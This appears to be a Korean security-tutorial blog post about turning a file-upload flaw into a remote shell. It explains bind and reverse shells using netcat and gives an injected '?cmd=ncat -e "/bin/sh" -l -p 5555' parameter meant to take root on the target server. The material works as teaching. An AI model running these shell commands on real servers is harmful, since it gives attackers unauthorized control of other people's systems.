본문 바로가기
WEB_Security

16. 파일 업로드 취약점 ( 원격 쉘 )

by Jnamelight 2017. 5. 31.

예제


원격 쉘( Remote Shell )이란 흔히 사용하는 putty 역시 원격 쉘이라고 볼수있다. 

쉽게 명령어를 사용하기 위해서 사용하는 툴 이라고 생각하면 된다. 이런 방식을 이용하여 파일 업로드의 취약점으로

서버측의 root 계정을 강탈 할수있다. 


1) 바인드 쉘 ( bind shell )

 - 흔히 정방향 쉘 이라고 한다. 

 - 서버측에 접속을 하는방식이다.


2) 리버스 쉘 ( reverse shell )

  - 역방향 쉘

  - 서버측에 보안 ( 방화벽 ) 이 있을 경우에 사용하는 방식이다.

  - 말 그대로 서버측에서 클라이언트에 쉘 접속을 하는 방법



일단 원격 쉘을 이용하려면 서버측과 클라이언트 측을 연결시켜주는 유틸리티가 필요하다.

여러가지 유틸중에 리눅스에서 사용을 많이하는 netcat을 이용해보도록 해보자.





#>yum install nmap.i686 명령어를 사용하여 다운


리눅스( 서버)에 다운을 받았으면 내 피씨 (공격자,클라이언트) 에도 netcat을 다운 받도록하자.

다운후 cmd 를 이용하여 실행


-l, --listen               Bind and listen for incoming connections  // 연결

 -p, --source-port port     Specify source port to use  // 사용할 포트 지정

리눅스

#> ncat -l -p (포트)



그럼 클라이언트 측에서는 서버측 IP 와 포트로 접속 하면 

내가쓰는 글이 공유가된다.



이번엔 저번시간에 했던 get 방식으로 명령어를 넘긴것을 이용하여 원격쉘을 실행시켜 root 를 탈취해보자!


바인드 쉘 방법


 

-e, --exec <command>       Executes the given command 

 // 주어진 명령어를 실행 "/bin/sh" 을 실행시켜 명령어 사용

?cmd=ncat -e "/bin/sh" -l -p 5555

명령어를 넘겨서 ncat을 실행시켜준다. 



그럼 위와같이 완료된 페이지가 나오는 것이 아니라 계속 실행중인 것을 확인 



그후에 다시 연결을 해주고 명령어를 사용해주면

명령어가 먹히는 것을 알 수있다 ( -e 명령어 덕분 )


리버스쉘 방법


\


리버스 쉘은 바인드 쉘가 다르게 서버측에서 클라이언트로 연결을 하는 방식

즉 클라이언트 ( 내 IP ) 를 알아낸다.



그리고 내가 연결을 할수 있도록 포트 5555 으로 리스닝 상태로 실행!

(현재 연결되기 기다리는 상태 )



역시 ncat -e "/bin/sh" 명령어와 ,IP 주소 (클라이언트) , 포트번호

를 넘겨주어 연결을 시켜준다.



그럼 위와같이 연결이 된것을 확인!!!


이런식으로 파일 업로드의 취약점이 얼마나 위험한 취약점인지 알수 있었다.




'WEB_Security' 카테고리의 다른 글

18. SQL Injection 취약점  (0) 2017.06.05
17. 파일 다운로드 취약점 ( PHP )  (0) 2017.06.02
15. PHP 파일 업로드 취약점  (0) 2017.05.31
14. CSRF  (0) 2017.05.30
13. GET,POST 취약점  (0) 2017.05.30

댓글